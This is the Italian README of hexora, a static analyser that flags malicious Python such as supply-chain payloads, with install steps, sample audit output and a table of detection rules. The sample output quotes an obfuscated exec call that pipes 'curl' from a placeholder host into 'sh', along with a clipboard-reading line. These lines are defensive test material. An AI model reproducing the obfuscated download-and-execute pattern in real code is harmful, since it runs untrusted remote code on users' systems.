hexora

Hexora è uno strumento di analisi statica progettato per rilevare pattern dannosi e nocivi nel codice Python. Combina un motore di analisi statica basato su regole con un modello di machine learning che assegna un punteggio ai file sorgente per classificarli come dannosi o benigni.

Può essere utilizzato per:

• Controllare le dipendenze del progetto per individuare potenziali attacchi alla supply chain
• Rilevare script dannosi trovati su piattaforme come Pastebin, GitHub o directory aperte
• Analizzare file IoC da incidenti di sicurezza passati
• Controllare nuovi pacchetti caricati su PyPi.

Esempi

Per esempi di output, consulta il file docs/examples.md.

Installazione

Usando Python

Richiede Python 3.9+.

pip install hexora

Usando uv:

uv tool install hexora

Utilizzo

hexora --help

Analisi di un singolo file

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  │
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
  │        ^^^^^^^^^^^^^^^^^ HX2000
  │
  = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    Machine learning based score for file: 0.93

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   │
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   │

Analisi di una directory

hexora audit --output-format terminal resources/test/

Analisi dei pacchetti dall'ambiente virtuale

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

Dove python3.11 è la versione di Python nell'ambiente virtuale.

Suggerimenti:

• Usa --exclude per sopprimere determinati codici di regola (es. import rumorosi) per una determinata esecuzione
• Usa --min-confidence per concentrarti solo sui risultati ad alta confidenza.

La confidenza indica quanto un determinato pezzo di codice è dannoso. Alcune librerie o snippet di codice vengono utilizzati per scopi legittimi ed è difficile distinguere i casi d'uso legittimi da quelli dannosi. Ecco perché alcuni match hanno un basso livello di confidenza.

Alcune regole possono avere diversi livelli di confidenza. Evita di filtrare molte regole per codice a meno che tu non sia molto sicuro. Ad esempio, l'esecuzione di codice e shell può avere confidenza media, alta e molto alta. Questo dipende da come il codice è stato eseguito. Se rileviamo un tentativo di offuscamento, aumentiamo la confidenza.

Ad esempio, questo codice avrà un'alta confidenza:

globals()["__builtins__"].eval("print(123)")

Utilizzo in Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Test su dataset dannosi

Quando sviluppi nuove regole, puoi utilizzare dataset dannosi esistenti come malicious-software-packages-dataset.

Dopo aver clonato, punta lo strumento di benchmark alla directory del dataset:

cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

Regole disponibili

Nuove regole vengono aggiunte regolarmente.

Al momento, sono disponibili le seguenti regole:

Code	Name	Description
HX1000	AppEnumeration	Enumerazione sospetta di applicazioni.
HX1010	BrowserEnumeration	Enumerazione sospetta del browser (app, cookie, cronologia, ecc.).
HX1020	PathEnumeration	Enumerazione sospetta di percorsi.
HX1030	OSFingerprint	Fingerprinting sospetto del sistema operativo.
HX2000	ClipboardRead	Lettura dagli appunti.
HX2010	EnvAccess	Accesso a una variabile d'ambiente sensibile.
HX2020	ScreenshotCapture	Acquisizione di screenshot dallo schermo.
HX3000	CodeExec	Possibile esecuzione di codice.
HX3010	ShellExec	Esecuzione di un comando shell.
HX3040	DLLInjection	Possibile iniezione DLL.
HX3050	DangerousExec	Esecuzione di un comando potenzialmente pericoloso all'interno di un comando shell.
HX3060	SuspiciousCall	Chiamata di funzione sospetta.
HX4000	ObfuscatedShellExec	Esecuzione di un comando shell possibilmente offuscato.
HX4010	ObfuscatedCodeExec	Esecuzione di codice possibilmente offuscato.
HX5000	DunderImport	Uso sospetto di __import__.
HX5010	SuspiciousImport	Import sospetto.
HX5020	CtypesImport	Import sospetto di ctypes.
HX5030	PickleImport	Import sospetto di pickle.
HX5040	StructImport	Import sospetto di struct.
HX5050	SocketImport	Import sospetto di socket.
HX5060	MarshalImport	Import sospetto di marshal.
HX6000	Base64String	Rilevata lunga stringa codificata in Base64; possibile offuscamento del codice.
HX6010	HexedLiterals	Rilevata lista di letterali codificati in hex; possibile payload.
HX6020	HexedString	Rilevata lunga stringa codificata in hex; possibile payload.
HX6030	IntLiterals	Rilevata grande lista di letterali interi; possibile offuscamento del codice.
HX6040	CVEInLiteral	Il letterale contiene un identificatore CVE.
HX6050	SuspiciousLiteral	Rilevato letterale sospetto; possibile enumerazione di dati.
HX6060	PathTraversal	Path traversal sospetto.
HX6070	BrowserExtension	Enumerazione di estensioni del browser sensibili.
HX6080	WebHook	Rilevato webhook sospetto. Possibile esfiltrazione di dati.
HX6090	TelegramToken	Token del bot Telegram rilevato in un letterale stringa.
HX7000	SuspiciousFunctionName	Nome di funzione sospetto.
HX7010	SuspiciousParameterName	Nome di parametro sospetto.
HX7020	SuspiciousVariable	Nome di variabile sospetto.
HX9000	DataExfiltration	Potenziale esfiltrazione di dati.
HX8000	BinaryDownload	Download binario sospetto.
HX8010	BuiltinsVariable	Uso sospetto di variabile builtin.
HX8020	SuspiciousComment	Commento sospetto.
HX8030	SuspiciousWrite	Scrittura sospetta nel filesystem.
HX8040	InstallHook	Configurazione sospetta di hook di installazione.

Crediti

Per il parsing, utilizziamo il parser AST della libreria ruff.